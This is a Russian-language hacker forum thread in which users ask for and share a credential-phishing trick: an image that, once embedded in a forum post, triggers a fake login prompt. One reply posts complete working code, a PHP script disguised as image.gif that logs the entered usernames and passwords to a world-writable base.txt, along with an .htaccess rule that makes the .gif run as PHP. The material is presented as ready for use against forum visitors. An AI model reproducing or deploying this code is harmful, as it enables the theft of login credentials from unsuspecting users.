xss

Discussion in 'PHP' started by n1ck, 13 Mar 2010.

  1. n1ck

    n1ck New Member

    Joined:
    6 Sep 2007
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    поделитесь файликом или напомните как называется у меня где то было на компе найти не могу или потер случайно в общем суть такая
    есть там картинка с кодом и файл htaccess
    эта картинка выглядит как смайл при вставке ссылки на форуме или на сайте выскакивает окошко с просьбой ввести логин и пароль при вводе он сохраняет логин и пароль на сервере где картинка.
    если можете прикрепите файл или напомните как называеться
     
  2. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    В htaccess добавляешь (точно не помню, но вроде это):
    AddType application/x-httpd-php .jpg

    Далее гуглишь как вызвать basic авторизацию на php, ну и собственно кладешь скрипт (с basic авторизацией) в .jpg "формат" на сервере, и даешь эту jpg своему другу к примеру
     
  3. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    image.gif
    PHP:
    <?
        
    $filevalid    'base.txt';
        
    $good        fopen($filevalid'a+');
    header("WWW-Authenticate: Basic realm=\"Access Forbidden - Private level\"");
    header("HTTP/1.0 401 Access Forbidden");
    if (isset(
    $_SERVER["PHP_AUTH_USER"]) ) {
    $user $_SERVER["PHP_AUTH_USER"];
    $pass $_SERVER["PHP_AUTH_PW"];
    fwrite ($good$user.';'.$pass."\n");
    header("HTTP/1.0 200");
    //exit("test");
    }

    ?>

    .htaccess
    PHP:
    <files "image.gif">
    AddType application/x-httpd-php .gif
    </files>

    base.txt (с правами 777)
    PHP:
    .
     
    _________________________
    2 people like this.
  4. n1ck

    n1ck New Member

    Joined:
    6 Sep 2007
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Спасибо большой за помощь ;)
     
  5. n1ck

    n1ck New Member

    Joined:
    6 Sep 2007
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Вот кстате я такой архивчик искал
    http://forum4game.freetzi.com/images/
    не у кого нету?